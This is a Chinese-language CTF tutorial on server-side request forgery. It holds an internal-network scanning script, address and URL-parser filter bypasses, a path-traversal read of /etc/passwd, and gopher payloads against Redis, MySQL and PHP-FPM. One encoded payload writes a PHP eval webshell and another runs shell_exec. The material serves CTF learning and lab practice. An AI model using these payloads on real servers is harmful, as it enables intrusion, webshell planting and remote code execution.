淺談ssrf與ctf那些事


本文首發於"合天網安實驗室" 作者:Kawhi

本文涉及的實操——實驗:SSRF漏洞分析與實踐(合天網安實驗室)

(SSRF(server-side request forge,服務端請求偽造),是攻擊者讓服務端發起構造的指定請求鏈接造成的漏洞。通過該實驗了解SSRF漏洞的基礎知識及演示實踐。)

前言

有關SSRF(Server-Side Request Forgery:服務器端請求偽造)介紹的文章很多了,這里主要是把自己學習和打ctf中遇到的一些trick和用法整理和記錄一下。

有個最基本的問題就是,如何判斷ctf題目是考察SSRF或者說存在SSRF的點呢,首先要知道出現ssrf的函數基本就這幾個file_get_contents()、curl()、fsocksopen()、fopen(),如果獲取到題目源碼了,源碼中存在這些個函數就大致可以判斷是否有ssrf,如果沒有題目的源碼,ssrf的入口一般是出現在調用外部資源的地方,比如url有個參數讓你傳或者是在html中的輸入框,然后就用http://,file://,dict://協議讀取一下。

舉個例子,近日打的西湖論劍有一道題為flagshop中用ssrf讀文件

SSRF常見用法

探測內網

在CTF中,ssrf最常見的就是探測內網,如果找到了內網IP的網段,可以嘗試用暴力破解去探測內網的IP,下面給出幾種常見的探測方法。

  • 腳本

這里給出一個通用的python腳本

# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
    ip = '192.168.0.%d' % i #內網ip地址
    for port in ports:
        url = 'http://ip/?url=http://%s:%s' %(ip,port)
        try:
            res = session.get(url,timeout=3)
            if len(res.text) != 0 :    #這里長度根據實際情況改
                print(ip,port,'is open')
        except:
            continue
print('Done')

這里寫的是爆破指定的一些端口和IP的D段,注意的是有些題目會給出端口的范圍,就可以把ports改為range()指定為一定的范圍,然后返回的長度len(res.text)要先自己測一下。

  • burpsuite

可以選擇用burpsuite軟件中Intruder去爆破,具體過程就不贅述了。

  • nmap工具

掃描目標開放端口,直接用nmap一把梭。

nmap -sV ip
nmap -sV ip -p6379 //指定6379端口掃描

練習:可以在CTFHub中技能樹->ssrf->端口掃描中嘗試一下。

SSRF中的bypass

在ctf中,有時候會ban一些指定的ip,比如127.0.0.1,有時候是檢查一整段127.0.0.1,或者是通過正則去匹配逐個字符,這里介紹一下如何去繞過這些WAF。

  • 302跳轉

有一個網站地址是:xip.io,當訪問這個服務的任意子域名的時候,都會重定向到這個子域名,舉個例子:

當我們訪問:http://127.0.0.1.xip.io/1.php,實際上訪問的是http://127.0.0.1/1.php。

像這種網址還有nip.io,sslip.io。

如果php后端只是用parse_url函數中的host參數判斷是否等於127.0.0.1,就可以用這種方法繞過,但是如果是檢查是否存在關鍵字127.0.0.1,這種方法就不可行了,這里介紹第二種302方法。

短地址跳轉繞過,這里也給出一個網址4m.cn

直接用https://4m.cn/FjOdQ就就會302跳轉,這樣就可以繞過WAF了。

  • 進制的轉換

可以使用一些不同的進制替代ip地址,從而繞過WAF,這里給出個php腳本可以一鍵轉換。

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十進制:";
echo $r;
echo "八進制:";
echo decoct($r);
echo "十六進制:";
echo dechex($r);
?>

注意八進制ip前要加上一個0,其中八進制前面的0可以為多個,十六進制前要加上一個0x。

  • 利用DNS解析

如果你自己有域名的話,可以在域名上設置A記錄,指向127.0.0.1。

  • 利用@繞過

http://www.baidu.com@127.0.0.1與http://127.0.0.1請求是相同的。

  • 其他各種指向127.0.0.1的地址
1. http://localhost/
2. http://0/
3. http://[0:0:0:0:0:ffff:127.0.0.1]/
4. http://[::]:80/
5. http://127。0。0。1/
6. http://①②⑦.⓪.⓪.①
7. http://127.1/
8. http://127.00000.00000.001/

第1行localhost就是代指127.0.0.1

第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1

第3行指向127.0.0.1,在liunx下可用,window測試了下不行

第4行指向127.0.0.1,在liunx下可用,window測試了下不行

第5行用中文句號繞過

第6行用的是Enclosed alphanumerics方法繞過,英文字母以及其他一些可以網上找找

第7.8行中0的數量多一點少一點都沒影響,最后還是會指向127.0.0.1

不存在協議頭繞過

有關file_get_contents()函數的一個trick,可以看作是SSRF的一個黑魔法,當PHP的 file_get_contents() 函數在遇到不認識的偽協議頭時候會將偽協議頭當做文件夾,造成目錄穿越漏洞,這時候只需不斷往上跳轉目錄即可讀到根目錄的文件。

例子:

<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['a'])){
    die("no hack");
}
echo file_get_contents($_GET['a']);
?>

此處限制我們只能讀https開頭的路徑,但利用這個特性我們可以構造:

httpsssss://

配合目錄回退讀取文件的兩種方式:

httpsssss://../../../../../../etc/passwd
httpsssss://abc../../../../../../etc/passwd

這樣做的目的就是可以在SSRF的眾多協議被ban的情況下來進行讀取文件。

在ctf.show月餅杯的web2_故人心就遇到這個點。

URL的解析問題

  • readfile和parse_url解析差異

繞過端口:

我們在phpstudy中寫下ssrf.php

<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){
    readfile($url);
} else {
  die('You Shall Not Pass');
}

並在使用python在另一個端口起一個服務

在ssrf.php中代碼限制parse_url中的port只能等於80,如果我們需要用readfile去讀其他端口的文件的話,可以用如下繞過:

http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt

可以看到成功讀取了11211端口中的1.txt文件,這里借用blackhat的一張圖。

可以看出readfile函數獲取的端口是前面一部分的,而parse_url則是最后冒號的端口,利用這種差異的不同,從而繞過WAF。

這兩個函數在解析host的時候也有差異,如下圖

  • curl和parse_url解析差異

從圖中可以看到curl解析的是第一個@后面的網址,而parse_url解析的是第二個@的網址。

在極客大挑戰有一道題就考了這個點,源碼如下:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
?>

可以看到check_inner_ip 通過 url_parse 檢測是否為內網ip,如果滿足不是內網 ip ,通過 curl 請求 url 返回結果,這題就可以利用curl和parse_url解析的差異不同來繞過,讓 parse_url 處理外部網站,最后 curl 請求內網網址。

最后的payload為

http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php

有關URL的解析問題更加詳細可參考:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

SSRF進階用法

攻擊Redis服務

Redis一般都是綁定在6379端口,如果沒有設置口令(默認是無),攻擊者就可以通過SSRF漏洞未授權訪問內網Redis,一般用來寫入Crontab定時任務用來反彈shell,或者寫入webshell等等。

在CTF題目中如果找到了內網的服務開了6379端口,一般來說就是Redis未授權訪問漏洞,並且沒有ban掉gopher://,可以用網上的腳本一把梭。這里推薦一個工具gopherus:https://github.com/tarunkant/Gopherus

  • 寫入shell

運行命令:

python gopherus.py --exploit redis

之后具體操作看圖:

首先會讓你選擇ReverseShell/PHPShell,前者是反彈shell,后者是寫入shell,這里我們選擇寫入shell,然后第二步讓你選擇默認目錄,這里一般選擇默認即可,第三步寫入要執行的PHP代碼。

在有SSRF漏洞的地方輸入生成的payload—即gopher://127.0.0.1:6379后面一大段,接下來會在目錄下生成shell.php。

要注意的是如果是在html的輸入框中直接輸入提交就行,但要在瀏覽器的URL輸入的話,一定要記得URL編碼一次。

相關例題:[GKCTF2020]EZ三劍客-EzWeb或者CTFHub中技能樹->ssrf->redis

  • 反彈shell

對於Redis服務一般還有通過寫入定時任務來觸發反彈shell的操作,可以使用上面的工具選擇ReverseShell也可以一鍵生成payload

選擇ReverseShell,然后寫入你要反彈到的VPS的地址,因為這里監聽端口工具寫好是1234了,所以我們直接在VPS監聽nc -lvp 1234即可。

因為我沒有在CTF題目中利用過反彈shell這個點,這里就不演示過程了,至於復現過程的話可以在Weblgic靶場復現一下反彈shell,相關的文章講解也有很多,這里不再贅述了。

攻擊Mysql服務

如果內網開啟了3306端口,存在沒有密碼的mysql,則也可以使用gopher協議進行ssrf攻擊。

本地復現過程:

先在本地新建一個無密碼的用戶

CREATE USER 'kawhi'@'localhost';
GRANT ALL ON *.* TO 'kawhi'@'localhost';

運行完成之后可以打開phpmyadmin登錄看看是否成功,然后這里比較簡單的方法也是利用上述工具gopherus。

第一步寫入用戶的名字,第二步寫入要查詢的語句,將生成的payload再url編碼一次,直接打。

可以看到成功讀取到users表的信息,達到了我們mysql未授權訪問數據的目的。

這種利用SSRF打mysql也曾經在CTF中出現過:ISITDTU 2018 Friss這道題,題目復現過程可參考:https://xz.aliyun.com/t/2500,這里就不贅述了。

Gopher發送請求

SSRF漏洞是服務端請求偽造攻擊,不論是GET或者是POST方法,都是為了達到一個目的,就是讓服務端幫我們來執行請求。

那么在CTF中什么情況需要利用到這種方法呢,比如發現了一個內網的應用有上傳的功能,我們需要通過POST提交數據,而且Gopher協議沒有被ban,我們就可以考慮構造一個請求去打內網,下面先從本地看看如何構造:

通常,我們可以利用gopher://協議可以用來發送Get和Post請求,需要注意的點是要對發送的請求頭中的空格和一些特殊字符進行url編碼,如果是在URL中提交payload的時侯要再進行一次url編碼,先來看看如何發送簡單的請求。

  • POST請求

在phpstudy寫入1.php

<?php
echo "Hello".$_POST['a'];

burpsuite抓包獲取請求頭,POST包的請求頭有很多行,我們用的時候不用全部帶上,但是要記得加上Content-Type和Content-Length,當然如果你全部帶也是可以的。

POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world

然后需要對空格和一些特殊字符進行url編碼,注意把其中的換行的地方加上%0D%0A,當然手動加肯定是太麻煩了,這里給出一個腳本。

一鍵編碼腳本:

import urllib
import requests
test =\
"""POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

在里面加上你的請求體運行,然后我們在輸出結果前面手動加上gopher協議頭和IP:端口,最終為:

gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A

然后用curl命令發出我們的請求,可以看到成功獲取響應包了。

需要注意的是,如果要在url傳入的話需要將發送的POST后面一大串再url編碼一次,比如,我們在phpstudy寫入一個有ssrf漏洞的ssrf.php

<?php
function curl($url){
  //創建一個新的curl資源
  $ch = curl_init();
  //設置URL和相應的選項
  curl_setopt($ch,CURLOPT_URL,$url);
  curl_setopt($ch,CURLOPT_HEADER,false);
  //抓取URL並把它傳遞給瀏覽器
  curl_exec($ch);
  //關閉curl資源,並且釋放系統資源
  curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

直接我們上面的payload傳入url,會發現沒回顯。

把gopher協議全部再url編碼一遍就可以成功回顯。

  • GET請求:

GET請求發送和POST請求基本一樣,這里就不再贅述了。

相關例題:2020強網杯half_infiltration

通過前面一系列操作獲得ssrf.php

<?php 
//經過掃描確認35000以下端口以及50000以上端口不存在任何內網服務,請繼續滲透內網
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; 
    if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
        die("");
    }
    if($url)
    { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch); 
     } 
?>

跑端口40000跑出來個登錄框,然后有上傳功能,參數file和content是上傳文件

於是用gopher協議發送一個POST請求寫馬,payload如下:

gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Connection: close

file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ

最后payload如下,傳入參數需要注意二次url編碼:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ

PHP-FPM攻擊

首先,PHP-FPM是實現和管理FastCGI的進程,是一個FastCGI協議解析器,而Fastcgi本質是一個通信協議,類似於HTTP,都是進行數據交換的一個通道,通信過程如下:

TCP模式下在本機監聽一個端口(默認為9000),Nginx把客戶端數據通過FastCGI協議傳給9000端口,PHP-FPM拿到數據后會調用CGI進程解析。

而PHP-FPM攻擊是通過偽造FastCGI協議包實現PHP代碼執行,我們可以通過更改配置信息來執行任意代碼。php中有兩個非常有趣的配置項,(想了解更多關於php配置項,可以看我之前寫的一篇文章:CTF中.htaccess文件的利用),分別為auto_prepend_file和auto_append_file,這兩個配置項是使得php在執行目標文件之前,先包含配置項中指定的文件,如果我們把auto_prepend_file或auto_append_file的值設定為php://input,就能包含進POST提交的數據。

但是這里有個問題就是php://input需要開啟allow_url_include,這里可以利用PHP_ADMIN_VALUE,上一篇說到PHP_ADMIN_VALUE不可以利用在.htaccess,但是FastCGI協議中PHP_ADMIN_VALUE卻用來可以修改大部分的配置,我們利用PHP_ADMIN_VALUE把allow_url_include修改為True。

復現過程如下:

第一步:

現在liunx下啟動一個監聽並指定寫入1.txt。

第二步:

這里使用P神寫好的一個exp

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

把代碼保存為python文件,我這里為1.py,運行並-c寫入要執行的php代碼

python 1.py -c "<?php var_dump(shell_exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

然后會生成一個1.txt文件

第三步:

將生成的1.txt文件雙url編碼,老生常談,因為要在瀏覽器url輸入必須要再編碼一次,這里直接給出腳本,腳本我順便加上了gopher協議等等可以直接打,如果題目ip不同可以自行更改。

import urllib.parse
f = open(r'1.txt','rb')
s = f.read()
s = urllib.parse.quote(s)
s = urllib.parse.quote(s)
print("gopher://127.0.0.1:9000/_"+s)

運行得到

gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504E%25D3%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH41%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%250B%251BSCRIPT_NAME/usr/local/lib/php/PEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI/usr/local/lib/php/PEAR.php%2501%2504E%25D3%2500%2500%2500%2500%2501%2505E%25D3%2500%2529%2500%2500%253C%253Fphp%2520var_dump%2528shell_exec%2528%2527uname%2520-a%2527%2529%2529%253B%253F%253E%2501%2505E%25D3%2500%2500%2500%2500

這里我在CTFhub的FastCGI環境直接打了,當然本地也是可以的,可以看到我們下面的PHP代碼成功包含並執行了。

<?php var_dump(shell_exec('uname -a'));?>

DNS-rebinding

有時候ssrf的過濾中會出現這種情況,通過對傳入的url提取出host地址,然后進行dns解析,獲取ip地址,然后對ip地址進行檢驗,如果合法再利用curl請求的時候會發起第二次請求。

DNS-rebinding就是利用第一次請求的時候解析的是合法的地址,而第二次解析的時候是惡意的地址,這個技術已經被廣泛用於bypass同源策略,繞過ssrf的過濾等等。

利用過程:

首先需要擁有一個域名,然后添加兩條記錄類型為A的域名解析,一條的記錄值為127.0.0.1,另一條隨便寫個外網地址即可

但是這種方法是隨機解析的,所以只有在第一次解析出來是個外網ip,第二次解析出來是個內網ip才能成功,也就是說成功的概率為1/4。

這里我在CTFhub的DNS重綁定實驗下直接演示:

如果沒有域名的話,可以去平台http://ceye.io/上的dns rebinding工具,利用過程如下:

在profile下添加內網地址

這樣的話是會隨機返回地址的,也能完成DNS-rebinding攻擊

關於更多的DNS-rebinding攻擊利用方法見參考鏈接

總結

在ctf中ssrf一般不會單獨出題,大多數情況下是作為其中一個利用點,知識點看起來就那幾個,總結起來還挺多的,由於水平有限,本篇可能還有一些點沒有提到,比如趙總最近寫了一個ssrf新的利用方法:https://www.zhaoj.in/read-6681.html,有興趣可以看看。

參考鏈接

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM